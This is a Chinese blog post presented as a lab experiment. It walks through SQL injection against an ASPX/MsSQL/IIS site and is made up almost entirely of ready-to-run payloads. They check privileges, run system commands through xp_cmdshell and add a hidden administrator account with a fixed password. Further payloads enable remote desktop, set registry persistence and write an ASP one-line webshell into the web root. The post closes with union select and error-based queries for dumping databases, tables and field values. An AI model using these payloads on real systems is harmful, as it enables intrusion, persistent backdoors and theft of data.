ASPX+MsSQL注入

实验的环境:Windows+MsSQL+IIS6.0+ASPX

网站的url:http://x.x.x.x/Index.aspx?id=1

路径: C:\Inetpub\wwwroot


实验过程:

一、注入点权限判断  

再检查一下当前用户的数据库操作权限,提交如下查询:   

and 1=(select IS_SRVROLEMEMBER('sysadmin'))   //判断是否是系统管理员
and 1=(select IS_SRVROLEMEMBER('db_owner'))  //判断是否是库权限
and 1=(select IS_SRVROLEMEMBER('public'))      //判断是否为public权限 

二、xp_cmdshell扩展执行任意命令

 利用xp_cmdshell可执命令,例如提交如下查询,可查看服务器c盘目录:    

;exec master..xp_cmdshell 'dir c:\' 

最常见的利用方法是直接添加管理员账号,利用远程终端进行登录控制

;exec master..xp_cmdshell 'net user chin chin123 /add'
;exec master..xp_cmdshell 'net localgroup administrators chin /add' 
执行上面的查询,即可添加一个用户名为chin密码为chin123的管理账号。然后可利用命令打开3389远程终端连接,并修改连接端口号: 

;exec master..xp_cmdshell 'sc config termservice start=auto' 
;exec master..xp_cmdshell 'net start termservice' 
;exec master..xp_cmdshell 'reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0x0 /f' 

事实上,只要可以执行系统命令,几乎任意的攻击操作都可以在此基础上实现进行。 


三、xp_regwrite操作注册表与开启沙盒模式

sa权限下可以条用xp_regwrite写入注册表,查询语句如下: 

;exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\currentversion\run','black','REG_SZ','net user chin chin123 /add' 

四、利用sp_makewebtash写入一句话木马   

sa权限可以通过sp_makewebtask,创建一项生成HTML文档的任务,该文档包含执行过的查询返回的数据。在入侵过程中,可以利用sp_makewebtask扩展存储来将一句话木马写入到服务器磁盘中的web目录下,从而获得对服务器的控制权限。 

在写入一句话木马前,首先需要将一句话木马转换成URL格式,然后执行如下查询:

;exec sp_makewebtask 'c:\inetpub\wwwroot\chin.asp','select''%3C%25%65%76%61%6C%20%72%65%71%75%65%73%74%28%22%63%68%6F%70%70%65%72%22%29%25%3E'''— 

在上面的查询中,类似“%3C”的字符就是一句话木马的URL格式。执行查询后,就可以成功获得一个webshell,其路径为c:\inetpub\wwwroot\chin.asp 

五、havinggroup by查询爆表名与字段名 

在注入点地址后提交“having 1=1--”,从返回的错误信息中即可得到当前表名与第一个字段名。再继续提交如下代码: 

group by 字段名1 having 1=1—
group by 字段名1,字段名2 having 1=1— 

直到页面返回正常信息,即可得到所有的字段名。 

六、union select 查询注入技术

首先,用order by检查出字段数目,然后进行以下union select查询。  

and 1=2 union all select null,null,null from 当前表名 


在上面的语句中,字段数目为几就加几个null进行联合查询。由于null可代表字符或数字类型,因此不会出现数据类型转换出错提示。 

认数据类型

如果页面返回正常,则将null逐个用引号将字符引起来如’a’,提交如下语句:    

and 1=2 union all select 'a',null,null from 当前表名
and 1=2 union all select 'a', 'a',null from 当前表名
and 1=2 union all select 'a', 'a', 'a' from 当前表名

使用如下语句爆字段内容,第二个字段为字符型,使用数字代替后,爆出第二个字段内容;爆第三个字段时,将第二个字段转换为字符型’a’,然后将第三个字段替换为数字,以此类推。  

union all select 1,1,'a' from admin

如下图: 

  

替换完成后,在页面中会显示联合查询的数字或字符。再将数字或字符处替换成为如下代码

(select name from master.dbo.sysdatabases where dbid=1) 
增加上面查询语句中的bdid的值,就可以获取数据库列表中所有数据库名。

查询数据库中的所有表 

将数字或字符处替换成如下代码:

(select top 1 name from (select top n name from sysobjects where xtype=0x75 order by name) t order by name desc)    

其中0x75u的十六进制,增加n数字的值,就可以得到当前数据库的所有表。

如果要跨库查询其他数据库的表名,则可替换为如下代码:

(select top 1 name from (select top n name from 数据库名..sysobjects where xtype=0x75 order by name) t order by name desc)    

查询字段名及字段值 

将数字或字符处替换成如下:  

(select col_name(object_id('表名'),n))

增加数字n的值,就可以得到表中的所有字段名了。

要获取字段内容,可以将数字或字符处替换为如下: 

(select top 1 字段名 from 表名)

(select top 1 字段名 from 表名) 

得到第一个字段值后,在提交如下的代码: 

(select top 1 字段名 from 表名 where 字段名<>字段值1)    

即可获得其他字段值。

版权声明:若无特殊注明,本文为《Chin》原创,转载请保留文章出处。
本文链接:https://www.qinor.cn/post-20.html
正文到此结束

热门推荐

发表吐槽

你肿么看?

你还可以输入 250 / 250 个字

嘻嘻 大笑 可怜 吃惊 害羞 调皮 鄙视 示爱 大哭 开心 偷笑 嘘 奸笑 委屈 抱抱 愤怒 思考 日了狗 胜利 不高兴 阴险 乖 酷 滑稽

评论信息框
可使用QQ号实时获取昵称+头像

私密评论

吃奶的力气提交吐槽中...


既然没有吐槽,那就赶紧抢沙发吧!